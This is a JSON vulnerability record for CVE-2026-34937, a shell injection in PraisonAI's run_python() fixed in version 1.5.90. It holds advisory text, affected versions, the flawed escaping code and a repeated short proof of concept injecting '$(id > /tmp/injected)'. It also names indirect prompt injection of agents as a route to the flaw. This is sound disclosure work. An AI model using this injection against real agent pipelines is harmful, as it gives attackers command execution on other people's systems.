{"id":"CVE-2026-34937","aliases":["EUVD-2026-18917","GHSA-w37c-qqfp-c67f","PYSEC-2026-2954"],"status":"published","title":"PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution","description":"PraisonAI is a multi-agent teams system. Prior to version 1.5.90, run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c \"\u003ccode\u003e\" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \\ and \", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked. This issue has been patched in version 1.5.90.","severity":{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00567,"percentile":0.47353,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2026-04-01T23:18:17Z","modified":"2026-07-24T22:10:00Z","fixes":[{"ecosystem":"PyPI","package":"praisonaiagents","fixed_in":["1.5.90"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"praisonaiagents","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.5.89"},{"fixed":"1.5.90"}]}]},{"source":"osv","ecosystem":"PyPI","package":"praisonaiagents","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.90"}]}],"versions":["0.0.1","0.0.10","0.0.100","0.0.101","0.0.102","0.0.103","0.0.104","0.0.105","0.0.106","0.0.107","0.0.108","0.0.109","0.0.11","0.0.110","0.0.111","0.0.112","0.0.113","0.0.114","0.0.115","0.0.116","0.0.117","0.0.118","0.0.119","0.0.12","0.0.120","0.0.121","0.0.122","0.0.123","0.0.124","0.0.125","0.0.126","0.0.127","0.0.128","0.0.129","0.0.13","0.0.130","0.0.131","0.0.132","0.0.133","0.0.134","0.0.135","0.0.136","0.0.137","0.0.138","0.0.139","0.0.14","0.0.140","0.0.141","0.0.142","0.0.143","0.0.144","0.0.145","0.0.146","0.0.147","0.0.148","0.0.149","0.0.15","0.0.150","0.0.151","0.0.152","0.0.153","0.0.154","0.0.155","0.0.156","0.0.157","0.0.158","0.0.159","0.0.16","0.0.160","0.0.161","0.0.162","0.0.163","0.0.164","0.0.165","0.0.166","0.0.167","0.0.168","0.0.169","0.0.17","0.0.170","0.0.171","0.0.172","0.0.173","0.0.174","0.0.175","0.0.176","0.0.177","0.0.178","0.0.179","0.0.18","0.0.180","0.0.181","0.0.182","0.0.183","0.0.184","0.0.185","0.0.187","0.0.188","0.0.189","0.0.19","0.0.190","0.0.191","0.0.192","0.0.193","0.0.194","0.0.195","0.0.196","0.0.197","0.0.198","0.0.199","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.51","0.0.52","0.0.53","0.0.54","0.0.56","0.0.57","0.0.58","0.0.59","0.0.6","0.0.60","0.0.61","0.0.62","0.0.63","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.7","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.75","0.0.76","0.0.77","0.0.78","0.0.79","0.0.8","0.0.80","0.0.81","0.0.82","0.0.83","0.0.84","0.0.85","0.0.86","0.0.87","0.0.88","0.0.89","0.0.9","0.0.90","0.0.91","0.0.92","0.0.93","0.0.94","0.0.95","0.0.96","0.0.97","0.0.98","0.0.99","0.1.0","0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.14","0.1.15","0.1.16","0.1.17","0.1.18","0.1.19","0.1.2","0.1.20","0.1.21","0.1.22","0.1.23","0.1.24","0.1.25","0.1.26","0.1.27","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.10.0","0.10.1","0.10.10","0.10.2","0.10.3","0.10.4","0.10.5","0.10.6","0.10.7","0.10.8","0.10.9","0.11.0","0.11.1","0.11.10","0.11.11","0.11.12","0.11.13","0.11.14","0.11.15","0.11.16","0.11.17","0.11.18","0.11.19","0.11.2","0.11.20","0.11.21","0.11.22","0.11.23","0.11.24","0.11.25","0.11.27","0.11.28","0.11.29","0.11.3","0.11.30","0.11.31","0.11.4","0.11.5","0.11.6","0.11.7","0.11.8","0.11.9","0.12.0","0.12.1","0.12.10","0.12.11","0.12.12","0.12.13","0.12.14","0.12.15","0.12.16","0.12.17","0.12.18","0.12.19","0.12.2","0.12.20","0.12.21","0.12.3","0.12.4","0.12.5","0.12.6","0.12.7","0.12.8","0.12.9","0.13.0","0.13.1","0.13.10","0.13.11","0.13.12","0.13.13","0.13.14","0.13.15","0.13.16","0.13.17","0.13.18","0.13.19","0.13.2","0.13.20","0.13.21","0.13.22","0.13.23","0.13.3","0.13.4","0.13.5","0.13.6","0.13.7","0.13.8","0.13.9","0.14.0","0.14.1","0.14.10","0.14.11","0.14.12","0.14.14","0.14.15","0.14.16","0.14.2","0.14.3","0.14.4","0.14.5","0.14.6","0.14.7","0.14.8","0.14.9","0.15.0","0.15.1","0.15.2","0.15.3","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.4.0","0.4.1","0.5.0","0.5.1","0.5.2","0.5.3","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.7.0","0.7.1","0.8.0","0.8.1","0.9.0","0.9.1","1.0.0","1.1.0","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.1","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.1","1.5.10","1.5.11","1.5.12","1.5.13","1.5.14","1.5.15","1.5.16","1.5.17","1.5.18","1.5.19","1.5.2","1.5.20","1.5.21","1.5.22","1.5.23","1.5.24","1.5.25","1.5.26","1.5.27","1.5.28","1.5.29","1.5.3","1.5.30","1.5.31","1.5.32","1.5.33","1.5.34","1.5.35","1.5.36","1.5.37","1.5.38","1.5.39","1.5.40","1.5.41","1.5.42","1.5.43","1.5.44","1.5.45","1.5.46","1.5.47","1.5.48","1.5.49","1.5.5","1.5.50","1.5.51","1.5.52","1.5.53","1.5.54","1.5.55","1.5.56","1.5.57","1.5.58","1.5.59","1.5.6","1.5.60","1.5.61","1.5.62","1.5.63","1.5.64","1.5.65","1.5.66","1.5.67","1.5.68","1.5.69","1.5.7","1.5.70","1.5.71","1.5.72","1.5.73","1.5.74","1.5.75","1.5.76","1.5.77","1.5.78","1.5.79","1.5.8","1.5.80","1.5.81","1.5.82","1.5.83","1.5.84","1.5.85","1.5.86","1.5.87","1.5.88","1.5.89","1.5.9"]},{"source":"osv","ecosystem":"PyPI","package":"praisonaiagents","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.90"}]}],"versions":["0.0.1","0.0.10","0.0.100","0.0.101","0.0.102","0.0.103","0.0.104","0.0.105","0.0.106","0.0.107","0.0.108","0.0.109","0.0.11","0.0.110","0.0.111","0.0.112","0.0.113","0.0.114","0.0.115","0.0.116","0.0.117","0.0.118","0.0.119","0.0.12","0.0.120","0.0.121","0.0.122","0.0.123","0.0.124","0.0.125","0.0.126","0.0.127","0.0.128","0.0.129","0.0.13","0.0.130","0.0.131","0.0.132","0.0.133","0.0.134","0.0.135","0.0.136","0.0.137","0.0.138","0.0.139","0.0.14","0.0.140","0.0.141","0.0.142","0.0.143","0.0.144","0.0.145","0.0.146","0.0.147","0.0.148","0.0.149","0.0.15","0.0.150","0.0.151","0.0.152","0.0.153","0.0.154","0.0.155","0.0.156","0.0.157","0.0.158","0.0.159","0.0.16","0.0.160","0.0.161","0.0.162","0.0.163","0.0.164","0.0.165","0.0.166","0.0.167","0.0.168","0.0.169","0.0.17","0.0.170","0.0.171","0.0.172","0.0.173","0.0.174","0.0.175","0.0.176","0.0.177","0.0.178","0.0.179","0.0.18","0.0.180","0.0.181","0.0.182","0.0.183","0.0.184","0.0.185","0.0.187","0.0.188","0.0.189","0.0.19","0.0.190","0.0.191","0.0.192","0.0.193","0.0.194","0.0.195","0.0.196","0.0.197","0.0.198","0.0.199","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.51","0.0.52","0.0.53","0.0.54","0.0.56","0.0.57","0.0.58","0.0.59","0.0.6","0.0.60","0.0.61","0.0.62","0.0.63","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.7","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.75","0.0.76","0.0.77","0.0.78","0.0.79","0.0.8","0.0.80","0.0.81","0.0.82","0.0.83","0.0.84","0.0.85","0.0.86","0.0.87","0.0.88","0.0.89","0.0.9","0.0.90","0.0.91","0.0.92","0.0.93","0.0.94","0.0.95","0.0.96","0.0.97","0.0.98","0.0.99","0.1.0","0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.14","0.1.15","0.1.16","0.1.17","0.1.18","0.1.19","0.1.2","0.1.20","0.1.21","0.1.22","0.1.23","0.1.24","0.1.25","0.1.26","0.1.27","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.10.0","0.10.1","0.10.10","0.10.2","0.10.3","0.10.4","0.10.5","0.10.6","0.10.7","0.10.8","0.10.9","0.11.0","0.11.1","0.11.10","0.11.11","0.11.12","0.11.13","0.11.14","0.11.15","0.11.16","0.11.17","0.11.18","0.11.19","0.11.2","0.11.20","0.11.21","0.11.22","0.11.23","0.11.24","0.11.25","0.11.27","0.11.28","0.11.29","0.11.3","0.11.30","0.11.31","0.11.4","0.11.5","0.11.6","0.11.7","0.11.8","0.11.9","0.12.0","0.12.1","0.12.10","0.12.11","0.12.12","0.12.13","0.12.14","0.12.15","0.12.16","0.12.17","0.12.18","0.12.19","0.12.2","0.12.20","0.12.21","0.12.3","0.12.4","0.12.5","0.12.6","0.12.7","0.12.8","0.12.9","0.13.0","0.13.1","0.13.10","0.13.11","0.13.12","0.13.13","0.13.14","0.13.15","0.13.16","0.13.17","0.13.18","0.13.19","0.13.2","0.13.20","0.13.21","0.13.22","0.13.23","0.13.3","0.13.4","0.13.5","0.13.6","0.13.7","0.13.8","0.13.9","0.14.0","0.14.1","0.14.10","0.14.11","0.14.12","0.14.14","0.14.15","0.14.16","0.14.2","0.14.3","0.14.4","0.14.5","0.14.6","0.14.7","0.14.8","0.14.9","0.15.0","0.15.1","0.15.2","0.15.3","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.4.0","0.4.1","0.5.0","0.5.1","0.5.2","0.5.3","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.7.0","0.7.1","0.8.0","0.8.1","0.9.0","0.9.1","1.0.0","1.1.0","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.1","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.1","1.5.10","1.5.11","1.5.12","1.5.13","1.5.14","1.5.15","1.5.16","1.5.17","1.5.18","1.5.19","1.5.2","1.5.20","1.5.21","1.5.22","1.5.23","1.5.24","1.5.25","1.5.26","1.5.27","1.5.28","1.5.29","1.5.3","1.5.30","1.5.31","1.5.32","1.5.33","1.5.34","1.5.35","1.5.36","1.5.37","1.5.38","1.5.39","1.5.40","1.5.41","1.5.42","1.5.43","1.5.44","1.5.45","1.5.46","1.5.47","1.5.48","1.5.49","1.5.5","1.5.50","1.5.51","1.5.52","1.5.53","1.5.54","1.5.55","1.5.56","1.5.57","1.5.58","1.5.59","1.5.6","1.5.60","1.5.61","1.5.62","1.5.63","1.5.64","1.5.65","1.5.66","1.5.67","1.5.68","1.5.69","1.5.7","1.5.70","1.5.71","1.5.72","1.5.73","1.5.74","1.5.75","1.5.76","1.5.77","1.5.78","1.5.79","1.5.8","1.5.80","1.5.81","1.5.82","1.5.83","1.5.84","1.5.85","1.5.86","1.5.87","1.5.88","1.5.89","1.5.9"]}],"products":[{"vendor":"mervinpraison","product":"praisonai"},{"vendor":"praison","product":"praisonaiagents"}],"references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-w37c-qqfp-c67f","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34937","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-w37c-qqfp-c67f","tags":["advisory"]},{"url":"https://github.com/MervinPraison/PraisonAI","tags":["package"]},{"url":"https://pypi.org/project/praisonaiagents","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-34937","title":"PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution","description":"PraisonAI is a multi-agent teams system. Prior to version 1.5.90, run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c \"\u003ccode\u003e\" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \\ and \", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked. This issue has been patched in version 1.5.90.","status":"published","published":"2026-04-03T22:50:48.913Z","modified":"2026-04-06T16:08:09.657Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:20:14.302133Z"}],"euvd":[{"id":"EUVD-2026-18917","description":"PraisonAI is a multi-agent teams system. Prior to version 1.5.90, run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c \"\u003ccode\u003e\" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \\ and \", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked. This issue has been patched in version 1.5.90.","status":"published","published":"2026-04-03T22:50:48Z","modified":"2026-04-06T16:08:09Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:25:15.794407Z"}],"ghsa":[{"id":"GHSA-w37c-qqfp-c67f","title":"PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution","description":"### Summary\n\n`run_python()` in `praisonai` constructs a shell command string by interpolating user-controlled code into `python3 -c \"\u003ccode\u003e\"` and passing it to `subprocess.run(..., shell=True)`. The escaping logic only handles `\\` and `\"`, leaving `$()` and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.\n\n### Details\n\n`execute_command.py:290` (source) -\u003e `execute_command.py:297` (hop) -\u003e `execute_command.py:310` (sink)\n```python\n# source -- user-controlled code argument\ndef run_python(code: str, cwd=None, timeout=60):\n\n# hop -- incomplete escaping, $ and () not handled\n    escaped_code = code.replace('\\\\', '\\\\\\\\').replace('\"', '\\\\\"')\n    command = f'{python_cmd} -c \"{escaped_code}\"'\n\n# sink -- shell=True expands $() before python3 runs\n    return execute_command(command=command, cwd=cwd, timeout=timeout)\n    # execute_command calls subprocess.run(command, shell=True, ...)\n```\n\n### PoC\n```python\n# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)\n# install: pip install -e src/praisonai\nimport sys\nsys.path.insert(0, 'src/praisonai')\nfrom praisonai.code.tools.execute_command import run_python\n\nresult = run_python(code='$(id \u003e /tmp/injected)')\nprint(result)\n\n# verify\nimport subprocess\nprint(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)\n# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nAny agent pipeline or API consumer that passes user or task-supplied content to `run_python()` is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with `AUTH_ENABLED = False` by default when no token is configured.","status":"published","published":"2026-04-01T23:18:17Z","modified":"2026-04-06T22:54:10Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:39:48.966685Z"}],"nvd":[{"id":"CVE-2026-34937","description":"PraisonAI is a multi-agent teams system. Prior to version 1.5.90, run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c \"\u003ccode\u003e\" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \\ and \", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked. This issue has been patched in version 1.5.90.","status":"published","published":"2026-04-03T23:17:06.02Z","modified":"2026-07-24T22:10:00.14Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:13.1424Z"}],"osv":[{"id":"GHSA-w37c-qqfp-c67f","title":"PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution","description":"### Summary\n\n`run_python()` in `praisonai` constructs a shell command string by interpolating user-controlled code into `python3 -c \"\u003ccode\u003e\"` and passing it to `subprocess.run(..., shell=True)`. The escaping logic only handles `\\` and `\"`, leaving `$()` and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.\n\n### Details\n\n`execute_command.py:290` (source) -\u003e `execute_command.py:297` (hop) -\u003e `execute_command.py:310` (sink)\n```python\n# source -- user-controlled code argument\ndef run_python(code: str, cwd=None, timeout=60):\n\n# hop -- incomplete escaping, $ and () not handled\n    escaped_code = code.replace('\\\\', '\\\\\\\\').replace('\"', '\\\\\"')\n    command = f'{python_cmd} -c \"{escaped_code}\"'\n\n# sink -- shell=True expands $() before python3 runs\n    return execute_command(command=command, cwd=cwd, timeout=timeout)\n    # execute_command calls subprocess.run(command, shell=True, ...)\n```\n\n### PoC\n```python\n# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)\n# install: pip install -e src/praisonai\nimport sys\nsys.path.insert(0, 'src/praisonai')\nfrom praisonai.code.tools.execute_command import run_python\n\nresult = run_python(code='$(id \u003e /tmp/injected)')\nprint(result)\n\n# verify\nimport subprocess\nprint(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)\n# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nAny agent pipeline or API consumer that passes user or task-supplied content to `run_python()` is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with `AUTH_ENABLED = False` by default when no token is configured.","status":"published","published":"2026-04-01T23:18:17Z","modified":"2026-07-13T16:43:00.297721595Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:58.04805Z"},{"id":"PYSEC-2026-2954","title":"PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution","description":"### Summary\n\n`run_python()` in `praisonai` constructs a shell command string by interpolating user-controlled code into `python3 -c \"\u003ccode\u003e\"` and passing it to `subprocess.run(..., shell=True)`. The escaping logic only handles `\\` and `\"`, leaving `$()` and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.\n\n### Details\n\n`execute_command.py:290` (source) -\u003e `execute_command.py:297` (hop) -\u003e `execute_command.py:310` (sink)\n```python\n# source -- user-controlled code argument\ndef run_python(code: str, cwd=None, timeout=60):\n\n# hop -- incomplete escaping, $ and () not handled\n    escaped_code = code.replace('\\\\', '\\\\\\\\').replace('\"', '\\\\\"')\n    command = f'{python_cmd} -c \"{escaped_code}\"'\n\n# sink -- shell=True expands $() before python3 runs\n    return execute_command(command=command, cwd=cwd, timeout=timeout)\n    # execute_command calls subprocess.run(command, shell=True, ...)\n```\n\n### PoC\n```python\n# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)\n# install: pip install -e src/praisonai\nimport sys\nsys.path.insert(0, 'src/praisonai')\nfrom praisonai.code.tools.execute_command import run_python\n\nresult = run_python(code='$(id \u003e /tmp/injected)')\nprint(result)\n\n# verify\nimport subprocess\nprint(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)\n# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nAny agent pipeline or API consumer that passes user or task-supplied content to `run_python()` is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with `AUTH_ENABLED = False` by default when no token is configured.","status":"published","published":"2026-07-13T14:36:46.549725Z","modified":"2026-07-13T16:32:07.151342904Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:56.429374Z"}]}}